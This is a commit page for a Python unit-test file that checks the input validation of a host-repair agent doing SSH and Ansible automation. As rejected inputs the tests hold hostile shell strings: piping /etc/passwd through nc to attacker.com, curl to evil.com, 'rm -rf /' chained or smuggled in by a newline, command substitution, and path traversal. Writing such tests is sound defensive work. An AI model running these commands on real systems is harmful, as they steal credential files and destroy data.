f8d4772abf
P0-1: Complete shell metacharacter regex detection
- Enhanced _SHELL_METACHAR_RE to detect: >, <, \n, ${}, $()
- Prevents all shell injection vectors (redirects, variable expansion, newlines)
- Added 5 new validation tests
P0-2: Add shlex.quote() protection for ansible playbook path
- Wraps playbook_path in shlex.quote() before SSH command construction
- Prevents shell injection if path contains special characters
- Applied in _execute_ansible() method
P0-3: Add SSH target host whitelist validation
- Introduces validate_ssh_target_host() function
- Only allows SSH to: 192.168.0.110, 192.168.0.188
- Prevents unauthorized SSH target exploitation
- Added 5 new whitelist validation tests
P0-4: Convert HostRepairAgent to singleton pattern
- Implements __new__() singleton with shared _in_process_locks dict
- Ensures in-process locks persist across multiple auto_repair_service calls
- Previously created new instance per call, making locks ineffective
- Added singleton persistence test
Test Results: 45/45 passing (34 existing + 11 new P0 tests)
All security validations verified via comprehensive unit test coverage.
Co-Authored-By: Claude Haiku 4.5 <noreply@anthropic.com>
440 lines
19 KiB
Python
440 lines
19 KiB
Python
"""
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tests/test_host_repair_agent.py
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Host Repair Agent 單元測試
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不需要實際 SSH 連線 — 測試路由邏輯和命令組裝
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2026-04-06 Claude Code: Sprint 3 T1 — URI 解析與安全防護測試
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"""
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import asyncio
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import pytest
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from unittest.mock import AsyncMock, patch
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# =============================================================================
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# 測試 HostRepairConfig 路由
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# =============================================================================
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class TestHostRepairConfig:
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def test_layer_docker_110_routes_to_110(self):
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from src.services.host_repair_agent import get_ssh_config_for_layer
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config = get_ssh_config_for_layer("docker-110")
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assert config["user"] == "wooo"
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assert config["host"] == "192.168.0.110"
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def test_layer_docker_188_routes_to_188(self):
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from src.services.host_repair_agent import get_ssh_config_for_layer
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config = get_ssh_config_for_layer("docker-188")
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assert config["user"] == "ollama"
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assert config["host"] == "192.168.0.188"
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def test_layer_systemd_188_routes_to_188(self):
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from src.services.host_repair_agent import get_ssh_config_for_layer
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config = get_ssh_config_for_layer("systemd-188")
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assert config["user"] == "ollama"
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assert config["host"] == "192.168.0.188"
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def test_unknown_layer_raises(self):
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from src.services.host_repair_agent import get_ssh_config_for_layer
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with pytest.raises(ValueError, match="Unknown layer"):
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get_ssh_config_for_layer("unknown-layer")
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def test_k8s_layer_raises(self):
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"""k8s layer 不走 SSH，應 raise"""
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from src.services.host_repair_agent import get_ssh_config_for_layer
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with pytest.raises(ValueError, match="kubectl"):
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get_ssh_config_for_layer("k8s")
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# =============================================================================
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# 測試 SSH 命令組裝
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# =============================================================================
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class TestSSHCommandBuilding:
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def test_repair_command_format(self):
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from src.services.host_repair_agent import build_repair_command
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cmd = build_repair_command("sentry")
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assert cmd == "repair:sentry"
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def test_repair_command_component_sanitized(self):
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"""防止 command injection"""
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from src.services.host_repair_agent import build_repair_command
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with pytest.raises(ValueError, match="Invalid component"):
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build_repair_command("sentry; rm -rf /")
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def test_repair_command_valid_components(self):
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from src.services.host_repair_agent import build_repair_command
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valid = ["sentry", "harbor", "gitea", "openclaw", "gitea-runner", "alertmanager", "redis", "nginx"]
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for component in valid:
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cmd = build_repair_command(component)
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assert cmd == f"repair:{component}"
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# =============================================================================
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# 測試 HostRepairAgent.repair() 路由
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# =============================================================================
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class TestHostRepairAgent:
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@pytest.mark.asyncio
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async def test_repair_success_returns_ok(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
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mock_ssh.return_value = "REPAIR_OK:sentry"
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result = await agent.repair(layer="docker-110", component="sentry")
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assert result.success is True
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assert result.component == "sentry"
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assert result.layer == "docker-110"
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mock_ssh.assert_called_once_with(
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host="192.168.0.110",
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user="wooo",
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key_path="/etc/repair-ssh/id_ed25519",
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command="repair:sentry"
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)
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@pytest.mark.asyncio
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async def test_repair_fail_returns_failure(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
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mock_ssh.return_value = "REPAIR_FAIL:harbor:exit_1"
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result = await agent.repair(layer="docker-110", component="harbor")
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assert result.success is False
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assert "REPAIR_FAIL" in result.error
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@pytest.mark.asyncio
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async def test_repair_ssh_timeout_returns_failure(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
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mock_ssh.side_effect = asyncio.TimeoutError()
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result = await agent.repair(layer="docker-110", component="sentry")
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assert result.success is False
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assert "timeout" in result.error.lower()
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@pytest.mark.asyncio
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async def test_repair_denied_returns_failure(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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with patch.object(agent, "_ssh_execute", new_callable=AsyncMock) as mock_ssh:
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mock_ssh.return_value = "REPAIR_DENIED:unknown_component:badcomponent"
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result = await agent.repair(layer="docker-110", component="badcomponent")
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assert result.success is False
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# =============================================================================
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# 測試 URI Scheme 解析
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# 2026-04-06 Claude Code: Sprint 3 T1
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# =============================================================================
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class TestParseUriCommand:
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def test_openclaw_scheme(self):
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from src.services.host_repair_agent import parse_uri_command
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result = parse_uri_command("openclaw://docker-110/sentry")
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assert result.scheme == "openclaw"
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assert result.host_or_layer == "docker-110"
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assert result.payload == "sentry"
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def test_ansible_scheme(self):
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from src.services.host_repair_agent import parse_uri_command
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result = parse_uri_command("ansible://192.168.0.188/vacuum_postgres.yml")
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assert result.scheme == "ansible"
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assert result.host_or_layer == "192.168.0.188"
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assert result.payload == "vacuum_postgres.yml"
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def test_ssh_scheme(self):
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from src.services.host_repair_agent import parse_uri_command
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result = parse_uri_command("ssh://wooo@192.168.0.110/docker ps")
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assert result.scheme == "ssh"
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assert result.host_or_layer == "wooo@192.168.0.110"
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assert result.payload == "docker ps"
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def test_invalid_scheme_raises(self):
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from src.services.host_repair_agent import parse_uri_command
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with pytest.raises(ValueError, match="Unsupported scheme"):
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parse_uri_command("http://example.com/cmd")
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def test_missing_payload_raises(self):
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from src.services.host_repair_agent import parse_uri_command
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with pytest.raises(ValueError, match="payload"):
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parse_uri_command("ansible://192.168.0.188/")
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def test_legacy_format_raises(self):
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from src.services.host_repair_agent import parse_uri_command
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with pytest.raises(ValueError, match="Unsupported scheme"):
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parse_uri_command("docker-110/sentry")
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class TestValidateShellSafety:
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def test_safe_command_passes(self):
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from src.services.host_repair_agent import validate_shell_safety
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validate_shell_safety("docker ps") # must not raise
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def test_semicolon_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("docker ps; rm -rf /")
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def test_pipe_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("cat /etc/passwd | nc attacker.com 9999")
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def test_double_ampersand_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("ls && curl http://evil.com")
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def test_command_substitution_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("echo $(id)")
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def test_backtick_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("echo `id`")
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def test_too_long_blocked(self):
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="too long"):
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validate_shell_safety("a" * 513)
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import os
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from unittest.mock import patch, AsyncMock
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class TestAnsibleWhitelist:
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def test_allowed_playbook_passes(self):
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from src.services.host_repair_agent import validate_ansible_playbook
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with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml,clear_redis_cache.yml"}):
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validate_ansible_playbook("vacuum_postgres.yml") # must not raise
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def test_disallowed_playbook_raises(self):
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from src.services.host_repair_agent import validate_ansible_playbook
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with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
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with pytest.raises(ValueError, match="not in allowed whitelist"):
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validate_ansible_playbook("evil_script.sh")
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def test_path_traversal_blocked(self):
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from src.services.host_repair_agent import validate_ansible_playbook
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with patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
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with pytest.raises(ValueError, match="not in allowed whitelist"):
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validate_ansible_playbook("../../../etc/passwd")
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class TestRepairByUri:
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@pytest.mark.asyncio
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async def test_openclaw_scheme_calls_repair(self):
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from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
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agent = HostRepairAgent()
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with patch.object(agent, "_execute_openclaw", new_callable=AsyncMock) as mock_oc:
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mock_oc.return_value = HostRepairResult(success=True, layer="docker-110", component="sentry", output="REPAIR_OK:sentry")
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result = await agent.repair_by_uri("openclaw://docker-110/sentry")
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assert result.success is True
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mock_oc.assert_awaited_once_with("docker-110", "sentry")
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@pytest.mark.asyncio
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async def test_ansible_scheme_calls_ansible(self):
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from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
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agent = HostRepairAgent()
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with patch.object(agent, "_execute_ansible", new_callable=AsyncMock) as mock_ans, \
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patch.dict(os.environ, {"ANSIBLE_PLAYBOOK_WHITELIST": "vacuum_postgres.yml"}):
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mock_ans.return_value = HostRepairResult(success=True, layer="ansible", component="vacuum_postgres.yml", output="REPAIR_OK:ansible")
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result = await agent.repair_by_uri("ansible://192.168.0.188/vacuum_postgres.yml")
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assert result.success is True
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mock_ans.assert_awaited_once_with("192.168.0.188", "vacuum_postgres.yml")
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@pytest.mark.asyncio
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async def test_ssh_scheme_blocked_without_approval_flag(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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result = await agent.repair_by_uri("ssh://wooo@192.168.0.110/docker ps")
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assert result.success is False
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assert "requires_approval" in result.error
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@pytest.mark.asyncio
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async def test_invalid_uri_returns_failure(self):
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from src.services.host_repair_agent import HostRepairAgent
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agent = HostRepairAgent()
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result = await agent.repair_by_uri("bad-format")
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assert result.success is False
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assert "Unsupported scheme" in result.error
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class TestAuditLog:
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@pytest.mark.asyncio
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async def test_successful_repair_writes_audit_log(self):
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"""成功修復應寫入 AuditLog 到 DB"""
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from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
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from unittest.mock import patch, AsyncMock
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agent = HostRepairAgent()
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with patch.object(agent, "_execute_openclaw", new_callable=AsyncMock) as mock_oc, \
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patch.object(agent, "_write_audit_log", new_callable=AsyncMock) as mock_audit:
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mock_oc.return_value = HostRepairResult(
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success=True, layer="docker-110", component="sentry", output="REPAIR_OK:sentry"
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)
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result = await agent.repair_by_uri("openclaw://docker-110/sentry")
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assert result.success is True
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assert mock_audit.called, "AuditLog should be called"
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call_kwargs = mock_audit.call_args
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assert call_kwargs is not None
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class TestRepairLock:
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@pytest.mark.asyncio
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async def test_duplicate_repair_is_blocked(self):
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"""同一個 component 的修復，第二次呼叫應被 lock 阻擋"""
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import asyncio
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from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
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from unittest.mock import AsyncMock, patch
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agent = HostRepairAgent()
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call_count = 0
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async def fake_execute_openclaw(layer, component):
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nonlocal call_count
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call_count += 1
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await asyncio.sleep(0.1) # simulate work
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return HostRepairResult(success=True, layer=layer, component=component, output="REPAIR_OK:test")
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with patch.object(agent, "_execute_openclaw", side_effect=fake_execute_openclaw):
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results = await asyncio.gather(
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agent.repair_by_uri("openclaw://docker-110/sentry"),
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agent.repair_by_uri("openclaw://docker-110/sentry"),
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return_exceptions=True,
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)
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successes = [r for r in results if isinstance(r, HostRepairResult) and r.success]
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blocked = [r for r in results if isinstance(r, HostRepairResult) and not r.success and "already running" in r.error]
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assert len(successes) == 1
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assert len(blocked) == 1
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@pytest.mark.asyncio
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async def test_singleton_lock_persistence(self):
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"""P0-4: 測試 singleton 模式確保 in-process lock 跨 instance 共享"""
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import asyncio
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from src.services.host_repair_agent import HostRepairAgent, HostRepairResult
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from unittest.mock import AsyncMock, patch
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# Create two instances (should be the same object due to singleton)
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agent1 = HostRepairAgent()
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agent2 = HostRepairAgent()
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assert agent1 is agent2, "HostRepairAgent should be singleton"
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assert agent1._in_process_locks is agent2._in_process_locks, "Locks dict should be shared"
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call_count = 0
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async def fake_execute(layer, component):
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nonlocal call_count
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call_count += 1
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await asyncio.sleep(0.05)
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return HostRepairResult(success=True, layer=layer, component=component, output="OK")
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# Use agent1 and agent2 in concurrent calls
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with patch.object(agent1, "_execute_openclaw", side_effect=fake_execute):
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results = await asyncio.gather(
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agent1.repair_by_uri("openclaw://docker-110/test"),
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agent2.repair_by_uri("openclaw://docker-110/test"),
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return_exceptions=True,
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)
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successes = [r for r in results if isinstance(r, HostRepairResult) and r.success]
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blocked = [r for r in results if isinstance(r, HostRepairResult) and not r.success and "already running" in r.error]
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assert len(successes) == 1, "First call should succeed"
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assert len(blocked) == 1, "Second call should be blocked by shared lock"
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|
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# =============================================================================
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# P0-1 Tests: Enhanced shell metacharacter detection
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# =============================================================================
|
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|
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class TestEnhancedShellMetacharDetection:
|
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"""2026-04-06 Claude Code: Sprint 3 P0-1 Tests"""
|
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|
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def test_redirect_out_blocked(self):
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"""P0-1: > 重導向應被阻擋"""
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("ls > /tmp/out")
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def test_redirect_in_blocked(self):
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"""P0-1: < 重導向應被阻擋"""
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("cat < /etc/passwd")
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def test_newline_blocked(self):
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"""P0-1: Newline 換行應被阻擋（允許多行命令）"""
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("ls\nrm -rf /")
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|
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def test_dollar_brace_substitution_blocked(self):
|
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"""P0-1: ${ 變數擴展應被阻擋"""
|
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from src.services.host_repair_agent import validate_shell_safety
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with pytest.raises(ValueError, match="Shell metacharacter"):
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validate_shell_safety("echo ${PATH}")
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def test_safe_simple_command_passes(self):
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"""P0-1: 簡單命令應通過"""
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from src.services.host_repair_agent import validate_shell_safety
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validate_shell_safety("docker ps") # must not raise
|
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|
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# =============================================================================
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# P0-3 Tests: SSH target host whitelist
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# =============================================================================
|
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|
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class TestSSHTargetWhitelist:
|
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"""2026-04-06 Claude Code: Sprint 3 P0-3 Tests"""
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|
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def test_allowed_host_110_passes(self):
|
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"""P0-3: 192.168.0.110 在白名單應通過"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
validate_ssh_target_host("192.168.0.110") # must not raise
|
||
|
||
def test_allowed_host_188_passes(self):
|
||
"""P0-3: 192.168.0.188 在白名單應通過"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
validate_ssh_target_host("192.168.0.188") # must not raise
|
||
|
||
def test_unauthorized_host_blocked(self):
|
||
"""P0-3: 非白名單的主機應被阻擋"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ssh_target_host("192.168.0.999")
|
||
|
||
def test_localhost_blocked(self):
|
||
"""P0-3: localhost 應被阻擋"""
|
||
from src.services.host_repair_agent import validate_ssh_target_host
|
||
with pytest.raises(ValueError, match="not in allowed whitelist"):
|
||
validate_ssh_target_host("127.0.0.1")
|
||
|
||
@pytest.mark.asyncio
|
||
async def test_ssh_scheme_with_unauthorized_host_fails(self):
|
||
"""P0-3: ssh:// URI 指向未授權主機應失敗"""
|
||
from src.services.host_repair_agent import HostRepairAgent
|
||
agent = HostRepairAgent()
|
||
result = await agent.repair_by_uri("ssh://wooo@192.168.0.999/ls", approved=True)
|
||
assert result.success is False
|
||
assert "not in allowed whitelist" in result.error
|